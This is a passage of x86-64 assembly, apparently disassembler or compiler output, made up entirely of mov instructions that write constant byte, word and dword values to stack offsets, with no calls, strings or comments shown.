mov word [rsp + 0x1b44], ax
mov byte [rsp + 0x324], 0xf5
mov dword [rsp + 0x6d40], 0x196c1027
mov eax, 0x65a
mov word [rsp + 0x1b48], ax
mov byte [rsp + 0x325], 0xaf
mov dword [rsp + 0x6d44], 0x76e4d77
mov dword [rsp + 0x6d48], 0xd9f
mov dword [rsp + 0x6d4c], 0x9892
mov eax, 0x566
mov word [rsp + 0x1b4c], ax
mov dword [rsp + 0x6d50], 0x96ec
mov dword [rsp + 0x6d54], 0x4565db87
mov dword [rsp + 0x6d58], 0x59b3c7d5
mov byte [rsp + 0x326], 0xdb
mov dword [rsp + 0x6d5c], 0x5076aef7
mov byte [rsp + 0x327], 0x32
mov dword [rsp + 0x6d60], 0x1586
mov byte [rsp + 0x328], 0xac
mov dword [rsp + 0x6d64], 0x4c575e8b
mov eax, 0xba7
mov word [rsp + 0x1b50], ax
mov byte [rsp + 0x329], 0xdc
mov eax, 0x9df
mov word [rsp + 0x1b54], ax
mov byte [rsp + 0x32a], 3
mov eax, 0x566
mov word [rsp + 0x1b58], ax
mov dword [rsp + 0x6d68], 0xf9a61d6
mov dword [rsp + 0x6d6c], 0x77221391
mov eax, 0xa4c
mov word [rsp + 0x1b5c], ax
mov dword [rsp + 0x6d70], 0x73610283
mov dword [rsp + 0x6d74], 0xe56c
mov dword [rsp + 0x6d78], 0x5dd1
mov dword [rsp + 0x6d7c], 0x66c233d9
mov dword [rsp + 0x6d80], 0x2f5c7385
mov byte [rsp + 0x32b], 0xc0
mov eax, 0x4f3
mov word [rsp + 0x1b60], ax
mov dword [rsp + 0x6d84], 0x7c0da171
mov eax, 0xa7d
mov word [rsp + 0x1b64], ax
mov dword [rsp + 0x6d88], 0x1976e3b
mov dword [rsp + 0x6d8c], 0x4e00396b
mov dword [rsp + 0x6d90], 0x63c95b90
mov dword [rsp + 0x6d94], 0xe364
mov dword [rsp + 0x6d98], 0x3d48f8e3
mov dword [rsp + 0x6d9c], 0x7812a6c4
mov eax, 0x27
mov word [rsp + 0x1b68], ax
mov eax, 0xe08
mov word [rsp + 0x1b6c], ax
mov dword [rsp + 0x6da0], 0x7f0fb1cf
mov dword [rsp + 0x6da4], 0x3877218b
mov dword [rsp + 0x6da8], 0xd697
mov dword [rsp + 0x6dac], 0x4e1cc1d2
mov eax, 0xafe
mov word [rsp + 0x1b70], ax
mov byte [rsp + 0x32c], 0x1d
mov dword [rsp + 0x6db0], 0x629cb210
mov dword [rsp + 0x6db4], 0x1482
mov eax, 0xa33
mov word [rsp + 0x1b74], ax
mov eax, 0xefc
mov word [rsp + 0x1b78], ax
mov byte [rsp + 0x32d], 0x37
mov byte [rsp + 0x32e], 0x95
mov dword [rsp + 0x6db8], 0x5019dc67
mov eax, 0x2b5
mov word [rsp + 0x1b7c], ax
mov byte [rsp + 0x32f], 0x7a
mov dword [rsp + 0x6dbc], 0x59f04490
mov dword [rsp + 0x6dc0], 0xa51e14e
mov dword [rsp + 0x6dc4], 0x69afa559
mov dword [rsp + 0x6dc8], 0x855c
mov eax, 0xa70
mov word [rsp + 0x1b80], ax
mov dword [rsp + 0x6dcc], 0x2a01
mov dword [rsp + 0x6dd0], 0x8937
mov dword [rsp + 0x6dd4], 0x514b371e
mov dword [rsp + 0x6dd8], 0xc73e
mov dword [rsp + 0x6ddc], 0xc5b
mov dword [rsp + 0x6de0], 0xa75a
mov eax, 0x621
mov word [rsp + 0x1b84], ax
mov dword [rsp + 0x6de4], 0x3b5ca45
mov dword [rsp + 0x6de8], 0x5673
mov eax, 0x1a5
mov word [rsp + 0x1b88], ax
mov eax, 0xe1e
mov word [rsp + 0x1b8c], ax
mov eax, 0x72c
mov word [rsp + 0x1b90], ax
mov dword [rsp + 0x6dec], 0x5f3f4d73
mov dword [rsp + 0x6df0], 0x12dd
mov dword [rsp + 0x6df4], 0x39e6d996
mov dword [rsp + 0x6df8], 0xe3ca
mov dword [rsp + 0x6dfc], 0x1a3346d6
mov dword [rsp + 0x6e00], 0x1f2c03a0
mov eax, 0x490
mov word [rsp + 0x1b94], ax
mov byte [rsp + 0x330], 0x88
mov dword [rsp + 0x6e04], 0x73fe081a
mov dword [rsp + 0x6e08], 0x1244
mov dword [rsp + 0x6e0c], 0xd964
mov byte [rsp + 0x331], 0xe
mov dword [rsp + 0x6e10], 0x6d16924f
mov eax, 0x715
mov word [rsp + 0x1b98], ax
mov dword [rsp + 0x6e14], 0x33369bd3
mov eax, 0x271
mov word [rsp + 0x1b9c], ax
mov dword [rsp + 0x6e18], 0x7fb46c91
mov eax, 0x129
mov word [rsp + 0x1ba0], ax
mov dword [rsp + 0x6e1c], 0x714d
mov byte [rsp + 0x332], 0x14
mov dword [rsp + 0x6e20], 0x4623
mov eax, 0x6ef
mov word [rsp + 0x1ba4], ax
mov dword [rsp + 0x6e24], 0x3836
mov dword [rsp + 0x6e28], 0x3f4c2b80
mov dword [rsp + 0x6e2c], 0xcdc3
mov byte [rsp + 0x333], 0x30
mov eax, 0xba0
mov word [rsp + 0x1ba8], ax
mov dword [rsp + 0x6e30], 0xa935
mov dword [rsp + 0x6e34], 0x498dd8fb
mov dword [rsp + 0x6e38], 0xa1a3
mov dword [rsp + 0x6e3c], 0x3818b47c
mov byte [rsp + 0x334], 0x59
mov dword [rsp + 0x6e40], 0xc75f
mov dword [rsp + 0x6e44], 0x486424bf
mov byte [rsp + 0x335], 0x52
mov eax, 0x5dc
mov word [rsp + 0x1bac], ax
mov byte [rsp + 0x336], 0x57
mov eax, 0xff5
mov word [rsp + 0x1bb0], ax
mov dword [rsp + 0x6e48], 0x33ab
mov byte [rsp + 0x337], 0x21
mov dword [rsp + 0x6e4c], 0x58cea752
mov eax, 0x88d
mov word [rsp + 0x1bb4], ax
mov dword [rsp + 0x6e50], 0x6100
mov byte [rsp + 0x338], 0xec
mov eax, 0xfd
mov word [rsp + 0x1bb8], ax
mov dword [rsp + 0x6e54], 0xcb88
mov dword [rsp + 0x6e58], 0x3596bd9
mov byte [rsp + 0x339], 0x9e
mov dword [rsp + 0x6e5c], 0x537c2616
mov byte [rsp + 0x33a], 0x83
mov eax, 0x427
mov word [rsp + 0x1bbc], ax
mov dword [rsp + 0x6e60], 0x91d7
mov eax, 0x7e3
mov word [rsp + 0x1bc0], ax
mov dword [rsp + 0x6e64], 0xcf9e
mov dword [rsp + 0x6e68], 0x4074
mov eax, 0xf4d
mov word [rsp + 0x1bc4], ax
mov dword [rsp + 0x6e6c], 0x42fa1673
mov dword [rsp + 0x6e70], 0xe0bc
mov dword [rsp + 0x6e74], 0x6a11
mov dword [rsp + 0x6e78], 0x4856c3a0
mov byte [rsp + 0x33b], 0x2d
mov byte [rsp + 0x33c], 9
mov dword [rsp + 0x6e7c], 0x565
mov dword [rsp + 0x6e80], 0x4f3e
mov eax, 0x5cd
mov word [rsp + 0x1bc8], ax
mov dword [rsp + 0x6e84], 0x536beb0e
mov byte [rsp + 0x33d], 0x15
mov eax, 0x4a
mov word [rsp + 0x1bcc], ax
mov dword [rsp + 0x6e88], 0x64f66823
mov dword [rsp + 0x6e8c], 0x40221928
mov dword [rsp + 0x6e90], 0x220f4675
mov dword [rsp + 0x6e94], 0x684a4863
mov dword [rsp + 0x6e98], 0x10f7
mov dword [rsp + 0x6e9c], 0x4d828181
mov dword [rsp + 0x6ea0], 0xed34
mov dword [rsp + 0x6ea4], 0x179bf736
mov dword [rsp + 0x6ea8], 0x3580e043
mov byte [rsp + 0x33e], 0x7a
mov dword [rsp + 0x6eac], 0xa4bd
mov eax, 0x62d
mov word [rsp + 0x1bd0], ax
mov dword [rsp + 0x6eb0], 0x78ffa05c
mov eax, 0x71b
mov word [rsp + 0x1bd4], ax
mov eax, 0xbd3
mov word [rsp + 0x1bd8], ax
mov dword [rsp + 0x6eb4], 0x764a30bc
mov dword [rsp + 0x6eb8], 0x15be2804
mov eax, 0x2a0
mov word [rsp + 0x1bdc], ax
mov dword [rsp + 0x6ebc], 0x795d17db
mov byte [rsp + 0x33f], 0xc5
mov byte [rsp + 0x340], 0xa
mov byte [rsp + 0x341], 0xc7
mov byte [rsp + 0x342], 0x6b
mov eax, 0xc4d
mov word [rsp + 0x1be0], ax
mov dword [rsp + 0x6ec0], 0xeb7929a
mov dword [rsp + 0x6ec4], 0x59e8d027
mov eax, 0x28e
mov word [rsp + 0x1be4], ax
mov byte [rsp + 0x343], 0x10
mov byte [rsp + 0x344], 0x5a
mov dword [rsp + 0x6ec8], 0x32ec1b14
mov dword [rsp + 0x6ecc], 0x3e6cfba
mov dword [rsp + 0x6ed0], 0x420b9700
mov byte [rsp + 0x345], 0x6a
mov dword [rsp + 0x6ed4], 0x5b87641f
mov dword [rsp + 0x6ed8], 0xfb4e
mov dword [rsp + 0x6edc], 0x2fc503fd
mov dword [rsp + 0x6ee0], 0xc8d9
mov eax, 0xc2c
mov word [rsp + 0x1be8], ax
mov dword [rsp + 0x6ee4], 0x8160
mov eax, 0x631
mov word [rsp + 0x1bec], ax
mov dword [rsp + 0x6ee8], 0x5fd15b1
mov dword [rsp + 0x6eec], 0x61811776
mov eax, 0x775
mov word [rsp + 0x1bf0], ax
mov dword [rsp + 0x6ef0], 0x8b7c
mov dword [rsp + 0x6ef4], 0x9dfe
mov dword [rsp + 0x6ef8], 0x45e4e3bf
mov dword [rsp + 0x6efc], 0x186b
mov byte [rsp + 0x346], 0x4e
mov dword [rsp + 0x6f00], 0x52c84c69
mov dword [rsp + 0x6f04], 0x88b
mov dword [rsp + 0x6f08], 0x13d1
mov dword [rsp + 0x6f0c], 0x7982a619
mov eax, 0xc74
mov word [rsp + 0x1bf4], ax
mov eax, 0xe0c
mov word [rsp + 0x1bf8], ax
mov eax, 0xf94
mov word [rsp + 0x1bfc], ax
mov dword [rsp + 0x6f10], 0x7f2a0717
mov dword [rsp + 0x6f14], 0x1d803e5c
mov dword [rsp + 0x6f18], 0xeb6d9d4
mov eax, 0x5d0
mov word [rsp + 0x1c00], ax
mov dword [rsp + 0x6f1c], 0x4764
mov dword [rsp + 0x6f20], 0xa282
mov eax, 0x46e
mov word [rsp + 0x1c04], ax
mov eax, 0x9c5
mov word [rsp + 0x1c08], ax
mov eax, 0xf73
mov word [rsp + 0x1c0c], ax
mov dword [rsp + 0x6f24], 0xc8d
mov dword [rsp + 0x6f28], 0x7930e0a9
mov dword [rsp + 0x6f2c], 0xd730
mov dword [rsp + 0x6f30], 0x33dae56b
mov dword [rsp + 0x6f34], 0x3403ec20
mov dword [rsp + 0x6f38], 0xe9e4
mov dword [rsp + 0x6f3c], 0x80c9
mov eax, 0x36c
mov word [rsp + 0x1c10], ax
mov dword [rsp + 0x6f40], 0x18e8ecb9
mov byte [rsp + 0x347], 0xed
mov byte [rsp + 0x348], 0x23
mov eax, 0x5dc
mov word [rsp + 0x1c14], ax
mov dword [rsp + 0x6f44], 0xa5808cb
mov dword [rsp + 0x6f48], 0x6cbfd99
mov eax, 0xddd
mov word [rsp + 0x1c18], ax
mov dword [rsp + 0x6f4c], 0x7ac3d215
mov dword [rsp + 0x6f50], 0x9875
mov dword [rsp + 0x6f54], 0x255ff921
mov dword [rsp + 0x6f58], 0x6cc
mov dword [rsp + 0x6f5c], 0xeef744c
mov eax, 0x228
mov word [rsp + 0x1c1c], ax
mov byte [rsp + 0x349], 0x4e
mov dword [rsp + 0x6f60], 0x19d566b8
mov byte [rsp + 0x34a], 0xba
mov byte [rsp + 0x34b], 0x10
mov dword [rsp + 0x6f64], 0x75a0
mov dword [rsp + 0x6f68], 0x8840
mov eax, 0xa50
mov word [rsp + 0x1c20], ax
mov eax, 0x2ef
mov word [rsp + 0x1c24], ax
mov dword [rsp + 0x6f6c], 0x8e8b
mov dword [rsp + 0x6f70], 0x3566
mov eax, 0x10e
mov word [rsp + 0x1c28], ax
mov dword [rsp + 0x6f74], 0xa52
mov dword [rsp + 0x6f78], 0x215f
mov eax, 0x574
mov word [rsp + 0x1c2c], ax
mov eax, 0x41c
mov word [rsp + 0x1c30], ax
mov eax, 0x7a9
mov word [rsp + 0x1c34], ax
mov eax, 0x141
mov word [rsp + 0x1c38], ax
mov eax, 0x9b8
mov word [rsp + 0x1c3c], ax
mov eax, 0x81c
mov word [rsp + 0x1c40], ax
mov dword [rsp + 0x6f7c], 0x6cb5
mov dword [rsp + 0x6f80], 0x9ea7372
mov eax, 0x233
mov word [rsp + 0x1c44], ax
mov byte [rsp + 0x34c], 0xb7
mov dword [rsp + 0x6f84], 0xda2c
mov eax, 0x38
mov word [rsp + 0x1c48], ax
mov eax, 0x7aa
mov word [rsp + 0x1c4c], ax
mov dword [rsp + 0x6f88], 0x5053321b
mov byte [rsp + 0x34d], 0x6c
mov byte [rsp + 0x34e], 0xb
mov dword [rsp + 0x6f8c], 0x32bffe13
mov dword [rsp + 0x6f90], 0xf446
mov dword [rsp + 0x6f94], 0x24de0b76
mov dword [rsp + 0x6f98], 0x5abb
mov dword [rsp + 0x6f9c], 0x7d3399a9
mov byte [rsp + 0x34f], 0x2e
mov eax, 0x705
mov word [rsp + 0x1c50], ax
mov eax, 0x471
mov word [rsp + 0x1c54], ax
mov eax, 0x8dc
mov word [rsp + 0x1c58], ax
mov byte [rsp + 0x350], 0xd
mov byte [rsp + 0x351], 0x9b
mov dword [rsp + 0x6fa0], 0x11d0ad0e
mov dword [rsp + 0x6fa4], 0x60478d8a
mov byte [rsp + 0x352], 0xe6
mov eax, 0x809
mov word [rsp + 0x1c5c], ax
mov dword [rsp + 0x6fa8], 0x6265c69
mov byte [rsp + 0x353], 0xc1
mov eax, 0xbdd
mov word [rsp + 0x1c60], ax
mov dword [rsp + 0x6fac], 0x6b0e
mov byte [rsp + 0x354], 0x1e
mov eax, 0x2ea
mov word [rsp + 0x1c64], ax
mov eax, 0x40c
mov word [rsp + 0x1c68], ax
mov byte [rsp + 0x355], 0x5b
mov dword [rsp + 0x6fb0], 0x96cf
mov dword [rsp + 0x6fb4], 0x20ecc719
mov dword [rsp + 0x6fb8], 0x24a470f6
mov eax, 0x353
mov word [rsp + 0x1c6c], ax
mov dword [rsp + 0x6fbc], 0x96f2
mov dword [rsp + 0x6fc0], 0x10326789
mov dword [rsp + 0x6fc4], 0x7345e4e4
mov eax, 0x326
mov word [rsp + 0x1c70], ax
mov eax, 0x4d9
mov word [rsp + 0x1c74], ax
mov dword [rsp + 0x6fc8], 0x55114f43
mov eax, 0x78d
mov word [rsp + 0x1c78], ax
mov dword [rsp + 0x6fcc], 0x7911315
mov dword [rsp + 0x6fd0], 0xcd90
mov byte [rsp + 0x356], 0xce
mov eax, 0x134
mov word [rsp + 0x1c7c], ax
mov dword [rsp + 0x6fd4], 0x4cb9
mov byte [rsp + 0x357], 0x48
mov dword [rsp + 0x6fd8], 0x6c5717ba
mov dword [rsp + 0x6fdc], 0x3ab32bf0
mov dword [rsp + 0x6fe0], 0x2e98cc43
mov dword [rsp + 0x6fe4], 0xb2a6
mov dword [rsp + 0x6fe8], 0x2703a18c
mov dword [rsp + 0x6fec], 0xea22
mov dword [rsp + 0x6ff0], 0x991a
mov dword [rsp + 0x6ff4], 0x139c49b6
mov dword [rsp + 0x6ff8], 0xc193
mov dword [rsp + 0x6ffc], 0x60a03a1e
mov eax, 0x398
mov word [rsp + 0x1c80], ax
mov dword [rsp + 0x7000], 0x60d86a22
mov dword [rsp + 0x7004], 0x1b77
mov eax, 0xedf
mov word [rsp + 0x1c84], ax
mov eax, 0x972
mov word [rsp + 0x1c88], ax
mov eax, 0xa4f
mov word [rsp + 0x1c8c], ax
mov dword [rsp + 0x7008], 0x37c2
mov dword [rsp + 0x700c], 0x23450d76
mov dword [rsp + 0x7010], 0x52a292f2
mov byte [rsp + 0x358], 0x7a
mov dword [rsp + 0x7014], 0x13be
mov dword [rsp + 0x7018], 0xb109
mov dword [rsp + 0x701c], 0xb3b14e0
mov byte [rsp + 0x359], 0xe0
mov dword [rsp + 0x7020], 0x2a5cb185
mov dword [rsp + 0x7024], 0x511337f2
mov dword [rsp + 0x7028], 0xaf990fa
mov eax, 0x195
mov word [rsp + 0x1c90], ax
mov dword [rsp + 0x702c], 0x21cf5b3b
mov byte [rsp + 0x35a], 0x70
mov byte [rsp + 0x35b], 0x88
mov dword [rsp + 0x7030], 0x4ce5
mov byte [rsp + 0x35c], 0x9d
mov dword [rsp + 0x7034], 0x4df5
mov eax, 0x4e3
mov word [rsp + 0x1c94], ax
mov byte [rsp + 0x35d], 0x80
mov eax, 0xc77
mov word [rsp + 0x1c98], ax
mov dword [rsp + 0x7038], 0x4b3a
mov dword [rsp + 0x703c], 0x4363
mov dword [rsp + 0x7040], 0x187e118c
mov byte [rsp + 0x35e], 0x88
mov dword [rsp + 0x7044], 0x4702
mov dword [rsp + 0x7048], 0x336b
mov dword [rsp + 0x704c], 0x6d24
mov dword [rsp + 0x7050], 0x5a496d59
mov dword [rsp + 0x7054], 0xa320
mov eax, 0x9d4
mov word [rsp + 0x1c9c], ax
mov dword [rsp + 0x7058], 0x3f0c69a6
mov eax, 0x8a9
mov word [rsp + 0x1ca0], ax
mov dword [rsp + 0x705c], 0xba1
mov eax, 0xe3e
mov word [rsp + 0x1ca4], ax
mov dword [rsp + 0x7060], 0x542c5752
mov eax, 0x63a
mov word [rsp + 0x1ca8], ax
mov dword [rsp + 0x7064], 0x289d2349
mov byte [rsp + 0x35f], 4
mov dword [rsp + 0x7068], 0xc7b3
mov byte [rsp + 0x360], 0x1d
mov dword [rsp + 0x706c], 0x1f4d3d5b
mov eax, 0xb62
mov word [rsp + 0x1cac], ax
mov byte [rsp + 0x361], 0x16
mov dword [rsp + 0x7070], 0x78212367
mov dword [rsp + 0x7074], 0x8ee1
mov dword [rsp + 0x7078], 0x1f5cfce7
mov dword [rsp + 0x707c], 0x7294
mov dword [rsp + 0x7080], 0x636a7aa9
mov dword [rsp + 0x7084], 0x3855c9a6
mov byte [rsp + 0x362], 0x9e
mov dword [rsp + 0x7088], 0x5b0b0ad4
mov eax, 0x1f6
mov word [rsp + 0x1cb0], ax
mov dword [rsp + 0x708c], 0x10bab38f
mov byte [rsp + 0x363], 0x2d
mov byte [rsp + 0x364], 0xdd
mov dword [rsp + 0x7090], 0x1bb6
mov eax, 0x66d
mov word [rsp + 0x1cb4], ax
mov dword [rsp + 0x7094], 0xb835
mov byte [rsp + 0x365], 2
mov eax, 0x3a0
mov word [rsp + 0x1cb8], ax
mov dword [rsp + 0x7098], 0x6e07
mov byte [rsp + 0x366], 0x44
mov byte [rsp + 0x367], 0x55
mov dword [rsp + 0x709c], 0x364c
mov byte [rsp + 0x368], 0x14
mov dword [rsp + 0x70a0], 0xe44f785
mov dword [rsp + 0x70a4], 0xa24e
mov dword [rsp + 0x70a8], 0x4fc8193f
mov byte [rsp + 0x369], 3
mov byte [rsp + 0x36a], 0x4d
mov dword [rsp + 0x70ac], 0x3ff64324
mov byte [rsp + 0x36b], 0x6f
mov eax, 0x83
mov word [rsp + 0x1cbc], ax
mov dword [rsp + 0x70b0], 0x1fd7846
mov dword [rsp + 0x70b4], 0x8b67
mov dword [rsp + 0x70b8], 0x238e33ec
mov byte [rsp + 0x36c], 0xfe
mov dword [rsp + 0x70bc], 0x69003a1
mov dword [rsp + 0x70c0], 0x4074b427
mov eax, 0x740
mov word [rsp + 0x1cc0], ax
mov dword [rsp + 0x70c4], 0x782d2743
mov eax, 0x18c
mov word [rsp + 0x1cc4], ax
mov dword [rsp + 0x70c8], 0x63bd
mov byte [rsp + 0x36d], 0xea
mov byte [rsp + 0x36e], 0x79
mov dword [rsp + 0x70cc], 0x281d3051
mov dword [rsp + 0x70d0], 0x10428d7c
mov dword [rsp + 0x70d4], 0x2b1f0aad
mov byte [rsp + 0x36f], 0xc7
mov dword [rsp + 0x70d8], 0x1688
mov dword [rsp + 0x70dc], 0x79010c28
mov dword [rsp + 0x70e0], 0x4b8824e8
mov eax, 0xbee
mov word [rsp + 0x1cc8], ax
mov dword [rsp + 0x70e4], 0x745f
mov dword [rsp + 0x70e8], 0xda64
mov byte [rsp + 0x370], 0xe3
mov eax, 0x3b5
mov word [rsp + 0x1ccc], ax
mov dword [rsp + 0x70ec], 0x218613f1
mov dword [rsp + 0x70f0], 0xfdaa
mov dword [rsp + 0x70f4], 0x9a79
mov dword [rsp + 0x70f8], 0x7611
mov dword [rsp + 0x70fc], 0x4b2ca8e4
mov dword [rsp + 0x7100], 0x78b6f51a
mov dword [rsp + 0x7104], 0x6db53e27
mov byte [rsp + 0x371], 1
mov byte [rsp + 0x372], 0xef
mov dword [rsp + 0x7108], 0x157917e7
mov byte [rsp + 0x373], 0x35
mov dword [rsp + 0x710c], 0x4ca722de
mov dword [rsp + 0x7110], 0x72e1
mov dword [rsp + 0x7114], 0x15799293
mov dword [rsp + 0x7118], 0xe03c
mov byte [rsp + 0x374], 0x9d
mov eax, 0xe2a
mov word [rsp + 0x1cd0], ax
mov byte [rsp + 0x375], 0x56
mov dword [rsp + 0x711c], 0x1d1da431
mov dword [rsp + 0x7120], 0x705c
mov byte [rsp + 0x376], 0x1c
mov byte [rsp + 0x377], 0xc1
mov dword [rsp + 0x7124], 0xb813
mov byte [rsp + 0x378], 0x63
mov dword [rsp + 0x7128], 0x1d98
mov dword [rsp + 0x712c], 0x43962a4b
mov dword [rsp + 0x7130], 0x6650f1a
mov byte [rsp + 0x379], 0x7f
mov dword [rsp + 0x7134], 0x52401dae
mov byte [rsp + 0x37a], 0x97
mov byte [rsp + 0x37b], 0xe8
mov dword [rsp + 0x7138], 0x615b26d7
mov byte [rsp + 0x37c], 0xed
mov byte [rsp + 0x37d], 0x2a
mov dword [rsp + 0x713c], 0x592a571f
mov eax, 0xb42
mov word [rsp + 0x1cd4], ax
mov dword [rsp + 0x7140], 0x9bad
mov dword [rsp + 0x7144], 0x2a5196c0
mov eax, 0x3d
mov word [rsp + 0x1cd8], ax
mov dword [rsp + 0x7148], 0x235d0450
mov eax, 0xef
mov word [rsp + 0x1cdc], ax
mov dword [rsp + 0x714c], 0x5c0b
mov dword [rsp + 0x7150], 0x75f67775
mov dword [rsp + 0x7154], 0xd1960e4
mov dword [rsp + 0x7158], 0x145ca308
mov dword [rsp + 0x715c], 0xfcf9
mov byte [rsp + 0x37e], 0xf8
mov eax, 0x4e3
mov word [rsp + 0x1ce0], ax
mov dword [rsp + 0x7160], 0x48709d20
mov dword [rsp + 0x7164], 0x5ee88f1f
mov dword [rsp + 0x7168], 0x24e0a703
mov eax, 0x840
mov word [rsp + 0x1ce4], ax
mov dword [rsp + 0x716c], 0x3c327691
mov eax, 0x433
mov word [rsp + 0x1ce8], ax
mov dword [rsp + 0x7170], 0xba23cc3
mov dword [rsp + 0x7174], 0x556fec23
mov eax, 0x184
mov word [rsp + 0x1cec], ax
mov dword [rsp + 0x7178], 0xa1b1
mov dword [rsp + 0x717c], 0x2737666b
mov eax, 0x2a8
mov word [rsp + 0x1cf0], ax
mov eax, 0x2fd
mov word [rsp + 0x1cf4], ax
mov dword [rsp + 0x7180], 0x2b39
mov dword [rsp + 0x7184], 0x769d047a
mov dword [rsp + 0x7188], 0xa2a4
mov byte [rsp + 0x37f], 0xde
mov dword [rsp + 0x718c], 0x192eb87a
mov dword [rsp + 0x7190], 0x4cffdddb
mov byte [rsp + 0x380], 0x19
mov byte [rsp + 0x381], 0x7d
mov dword [rsp + 0x7194], 0x56b2
mov eax, 0x85e
mov word [rsp + 0x1cf8], ax
mov dword [rsp + 0x7198], 0xd3dd6cf
mov dword [rsp + 0x719c], 0x7777380b
mov eax, 0x33e
mov word [rsp + 0x1cfc], ax
mov dword [rsp + 0x71a0], 0x778e8554
mov byte [rsp + 0x382], 0x5b
mov dword [rsp + 0x71a4], 0xb755
mov dword [rsp + 0x71a8], 0x486269d7
mov byte [rsp + 0x383], 0x9e
mov dword [rsp + 0x71ac], 0x2d93
mov eax, 0x6ab
mov word [rsp + 0x1d00], ax
mov dword [rsp + 0x71b0], 0x38f2
mov eax, 0xde1
mov word [rsp + 0x1d04], ax
mov dword [rsp + 0x71b4], 0x180a
mov dword [rsp + 0x71b8], 0x6814
mov dword [rsp + 0x71bc], 0x5020a405
mov dword [rsp + 0x71c0], 0x5f1dcf32
mov dword [rsp + 0x71c4], 0xd0c7
mov byte [rsp + 0x384], 0x99
mov eax, 0x685
mov word [rsp + 0x1d08], ax
mov dword [rsp + 0x71c8], 0x70570774
mov byte [rsp + 0x385], 0x9c
mov dword [rsp + 0x71cc], 0x4a85e76c
mov byte [rsp + 0x386], 9
mov eax, 0x95
mov word [rsp + 0x1d0c], ax
mov dword [rsp + 0x71d0], 0x790b
mov byte [rsp + 0x387], 0xab
mov eax, 0x63b
mov word [rsp + 0x1d10], ax
mov eax, 0x90d
mov word [rsp + 0x1d14], ax
mov dword [rsp + 0x71d4], 0x610ba2c4
mov eax, 0xfd9
mov word [rsp + 0x1d18], ax
mov dword [rsp + 0x71d8], 0x9b63
mov dword [rsp + 0x71dc], 0x3e9b487b
mov dword [rsp + 0x71e0], 0xb305
mov byte [rsp + 0x388], 0
mov dword [rsp + 0x71e4], 0x21fb
mov dword [rsp + 0x71e8], 0xa76a
mov dword [rsp + 0x71ec], 0x104a9454
mov eax, 0x1c6
mov word [rsp + 0x1d1c], ax
mov dword [rsp + 0x71f0], 0x482758cc
mov eax, 0x3f3
mov word [rsp + 0x1d20], ax
mov dword [rsp + 0x71f4], 0x758b0ad9
mov dword [rsp + 0x71f8], 0x4ef0051d
mov eax, 0x17a
mov word [rsp + 0x1d24], ax
mov byte [rsp + 0x389], 0x1b
mov dword [rsp + 0x71fc], 0x52c19207
mov dword [rsp + 0x7200], 0x78515de4
mov eax, 0x868
mov word [rsp + 0x1d28], ax
mov dword [rsp + 0x7204], 0xfed5
mov eax, 0x73e
mov word [rsp + 0x1d2c], ax
mov dword [rsp + 0x7208], 0x154bd37d
mov dword [rsp + 0x720c], 0xd4da042
mov dword [rsp + 0x7210], 0x1f2a7459
mov dword [rsp + 0x7214], 0xa0817f1
mov dword [rsp + 0x7218], 0x7f0c462b
mov dword [rsp + 0x721c], 0x194eb486
mov byte [rsp + 0x38a], 0x46
mov dword [rsp + 0x7220], 0x61e5781a
mov dword [rsp + 0x7224], 0x311af910
mov dword [rsp + 0x7228], 0x74d696de
mov dword [rsp + 0x722c], 0xe01c65c
mov dword [rsp + 0x7230], 0xa0bd
mov dword [rsp + 0x7234], 0x15191a42
mov byte [rsp + 0x38b], 0xaf
mov dword [rsp + 0x7238], 0x264a
mov dword [rsp + 0x723c], 0x222
mov eax, 0x706
mov word [rsp + 0x1d30], ax
mov dword [rsp + 0x7240], 0x437a268c
mov byte [rsp + 0x38c], 0xab
mov dword [rsp + 0x7244], 0x305d
mov dword [rsp + 0x7248], 0x3b078465
mov byte [rsp + 0x38d], 0x99
mov dword [rsp + 0x724c], 0xc378
mov dword [rsp + 0x7250], 0x14c50da4
mov byte [rsp + 0x38e], 0x4b
mov byte [rsp + 0x38f], 0x57
mov dword [rsp + 0x7254], 0xfe06
mov byte [rsp + 0x390], 0x9b
mov dword [rsp + 0x7258], 0x4a94
mov dword [rsp + 0x725c], 0x51ceed0f
mov dword [rsp + 0x7260], 0x1bbfeb2d
mov dword [rsp + 0x7264], 0xa5fb27a
mov dword [rsp + 0x7268], 0x314b59dd
mov eax, 0x895
mov word [rsp + 0x1d34], ax
mov eax, 0xcbf
mov word [rsp + 0x1d38], ax
mov dword [rsp + 0x726c], 0x6c64aea0
mov dword [rsp + 0x7270], 0x79fc
mov dword [rsp + 0x7274], 0x56f08757
mov dword [rsp + 0x7278], 0x2a00b6fa
mov byte [rsp + 0x391], 5
mov dword [rsp + 0x727c], 0x4f9c6eba
mov dword [rsp + 0x7280], 0x54f9fbc
mov byte [rsp + 0x392], 0x74
mov dword [rsp + 0x7284], 0x78b68558
mov dword [rsp + 0x7288], 0xb987
mov eax, 0x4a9
mov word [rsp + 0x1d3c], ax
mov eax, 0x3bc
mov word [rsp + 0x1d40], ax
mov dword [rsp + 0x728c], 0x6ba06928
mov dword [rsp + 0x7290], 0x67a9
mov byte [rsp + 0x393], 0x79
mov dword [rsp + 0x7294], 0x3ffa2620
mov byte [rsp + 0x394], 0xd4
mov dword [rsp + 0x7298], 0x10bc
mov byte [rsp + 0x395], 0x48
mov byte [rsp + 0x396], 0x76
mov eax, 0x9b7
mov word [rsp + 0x1d44], ax
mov byte [rsp + 0x397], 0x6f
mov byte [rsp + 0x398], 0x6b
mov byte [rsp + 0x399], 0x72
mov eax, 0x622
mov word [rsp + 0x1d48], ax
mov dword [rsp + 0x729c], 0x4494
mov dword [rsp + 0x72a0], 0xf60696e
mov eax, 0x2e4
mov word [rsp + 0x1d4c], ax
mov eax, 0x358
mov word [rsp + 0x1d50], ax
mov eax, 0x43c
mov word [rsp + 0x1d54], ax
mov dword [rsp + 0x72a4], 0xf3cb
mov byte [rsp + 0x39a], 0x85
mov dword [rsp + 0x72a8], 0x21b92055
mov dword [rsp + 0x72ac], 0x3d50c54
mov dword [rsp + 0x72b0], 0xce77
mov dword [rsp + 0x72b4], 0xd1ca
mov dword [rsp + 0x72b8], 0x5af0f76d
mov eax, 0xbee
mov word [rsp + 0x1d58], ax
mov dword [rsp + 0x72bc], 0x65882ceb
mov dword [rsp + 0x72c0], 0x44ad9e21
mov byte [rsp + 0x39b], 0x4c
mov dword [rsp + 0x72c4], 0x71736e41
mov dword [rsp + 0x72c8], 0x7c589f7d
mov dword [rsp + 0x72cc], 0x592b8431
mov dword [rsp + 0x72d0], 0x162a3c8f
mov dword [rsp + 0x72d4], 0xfca1
mov dword [rsp + 0x72d8], 0x83c3
mov dword [rsp + 0x72dc], 0x2c5e
mov eax, 0xc1
mov word [rsp + 0x1d5c], ax
